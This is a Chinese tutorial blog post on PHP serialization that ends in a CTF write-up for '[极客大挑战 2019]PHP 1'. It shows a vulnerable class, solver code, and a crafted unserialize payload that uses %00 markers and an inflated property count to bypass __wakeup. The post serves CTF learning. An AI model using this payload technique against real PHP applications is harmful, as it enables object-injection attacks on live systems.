当前位置: 首页 > news >正文

WEB安全-CTF中的PHP反序列化漏洞

 

什么是序列化?

简单来说序列化是将数组或对象转换成字符串的过程,这样的好处是利于对象存储与传输,在PHP中,序列化函数是serialize(),反序列化是unserialize()

无类序列化

无类序列化顾名思义就是不包含class的序列化,什么意思呢?来看一个php例子

<?php  $test = 'hello world';echo serialize($test);
?>

以上代码输出为:

s:11:"hello world";

在这个例子中不包含class,变量test是一个字符串,其中serialize函数对这个字符串进行序列化,结果是:s:11:"hello world";

其中s表示这个是一个字符串类型,11表示字符串的长度

有类序列化

有类序列化顾名思义是php代码中包含class的对象进行序列化,那么什么是类?

类是一种数据结构,用来描述数据以及数据上的操作,什么意思?

比如我要存储我的年龄只需要在php中给定一个变量然后赋予这个变量值,那么我就实现了存储我的年龄,那么如果我要存储一个学生,那我应该用什么类型呢?int整型?string字符串?也不对,所以,这个时候php语言提供了一种自定义的数据类型可以存储多个基本数据类型,这个自定义的数据类型就叫做类。

那么这个学生可以吃、喝、学习等人类的行为,在php语言中,可以给这个类赋予这些行为,那么这个行为就叫做方法。

php学生类的实现代码:

<?php  class student {public $name = "张三";  //姓名public $age = 18;   //年龄public $grade = 90; //成绩//学生的吃行为方法public function eat() {echo "student eat";}//学生的喝行为方法public function drink() {echo "student drink";}//学生的学习行为方法public function study() {echo "student study";}}//创建一个学生对象$student1 = new student();//序列化对象echo serialize($student1);?>

如何创建出一个学生呢?只需要在php中new一个对象即可

//创建一个学生对象
new student();

 那么我们使用一个变量来存储这个对象,然后对它进行序列化看下结果

//创建一个学生对象
$student1 = new student();
//序列化对象
echo serialize($student1);

以下是运行结果:

O:7:"student":3:{s:4:"name";s:6:"张三";s:3:"age";i:18;s:5:"grade";i:90;}

O        表示这是一个对象

7        表示这个对象的类名长度

student        表示类名

3        表示这个对象有三个属性

{}        内容就是这三个属性的具体描述

s是字符串、4是第一个属性的名称长度,name是属性名,多个属性用;隔开以此类推

i        表示是int整型

什么是反序列化?

顾名思义,反序列化就是序列化的相反操作,将字符串还原成对象,在php中使用unserialize函数

<?php  class student {public $name = "张三";  //姓名public $age = 18;   //年龄public $grade = 90; //成绩//学生的吃行为方法public function eat() {echo "student eat";}//学生的喝行为方法public function drink() {echo "student drink";}//学生的学习行为方法public function study() {echo "student study";}}//创建一个学生对象$student1 = new student();//序列化对象$result = serialize($student1);//反序列化对象$student2 = unserialize($result);//输出这个对象的name属性的值echo $student2->name;
?>

运行结果:

张三

CTF实战

题目:[极客大挑战 2019]PHP 1

开启环境,打开页面

打开页面根据提示,网站存在源码备份文件,尝试几个文件名进行访问,发现www.zip文件可以访问,访问下载得到这些文件:

第一眼打开flag.php文件发现不是真实的flag,当然也不可能这么简单

这时候打开index.php文件查看,在37-40行才是重点

include函数包含了flag.php文件,猜测真实的flag存在flag.php文件中

select变量是同个get方法传入select的值获得,然后将我们传入的值进行反序列化

我们再打开class.php文件查看

这里也incule包含了flag.php,然后这里有一个Name的类,有两个私有属性分别是username和password

然后在__wakeup的苏醒函数发现将username的属性值设置为guest,wakeup是一个苏醒函数,就是在反序列化时会自动触发的方法

然后在__destruct的析构函数中,如果password的值不等于100就会退出程序,username的值为admin就会输出flag

<?php
include 'flag.php';
error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

那么我们的解题思路就是构造一个序列化字符串,然后让username的值为admin并且password的值为100就可以得到flag

根据解题思路写出解题代码:

<?phpclass Name{private $username;private $password;public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}$answer = new Name("admin",100);
echo serialize($answer);
?>

然后运行代码得到反序列化字符串:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是这里存在一个问题,那就是有__wakeup的苏醒函数存在,我们进行反序列化时他强制将username的值设置为guest,那么我们得绕过这个函数,这里引申出一个绕过方法:

当传入的反序列化字符串中的属性个数>实际属性个数时就不会触发这个方法,因此将上述反序列化字符串的属性数量修改为>2即可:

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

还有一个问题,因为这里Name类的属性都是私有属性,在序列化时会将属性名的前面添加类名,从而使得username的属性名变为Nameusername,其中Name类名的前后均存在\0的不可见字符用于区分类名和属性名,但是我们在浏览器传入的时候这个不可见字符会变为不存在,因此需要在Name前后都添加一个%00,得到:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

然后通过get传入select参数就行:

 


http://www.mrgr.cn/news/97504.html

相关文章:

  • 2018年真题
  • SQL:Primary Key(主键)和Foreign Key(外键)
  • 【加密算法】SM4国密算法原理、C++跨平台实现(含完整代码和示例)
  • TCP/IP五层协议
  • 网易运维面试题及参考答案
  • 激光干涉仪学习
  • Linux-CentOS-7—— 安装MySQL 8
  • 设计模式 四、行为设计模式(1)
  • AI烘焙大赛中的算法:理解PPO、GRPO与DPO最简单的方式
  • Python 之 Pandas 常用操作
  • 项目难点亮点
  • 大数据(5)Spark部署核弹级避坑指南:从高并发集群调优到源码级安全加固(附万亿级日志分析实战+智能运维巡检系统)
  • 英语学习 4.7
  • 红宝书第三十一讲:通俗易懂的包管理器指南:npm 与 Yarn
  • C#结合SQLite数据库使用方法
  • C++11实现一个自旋锁
  • 压测工具开发实战篇(四)——client子窗口功能
  • 本地大模型构建个人知识库(Ragflow)
  • 屏幕空间反射SSR-笔记
  • 【C++】Chapter04<STL部分>:STL标准模板库概要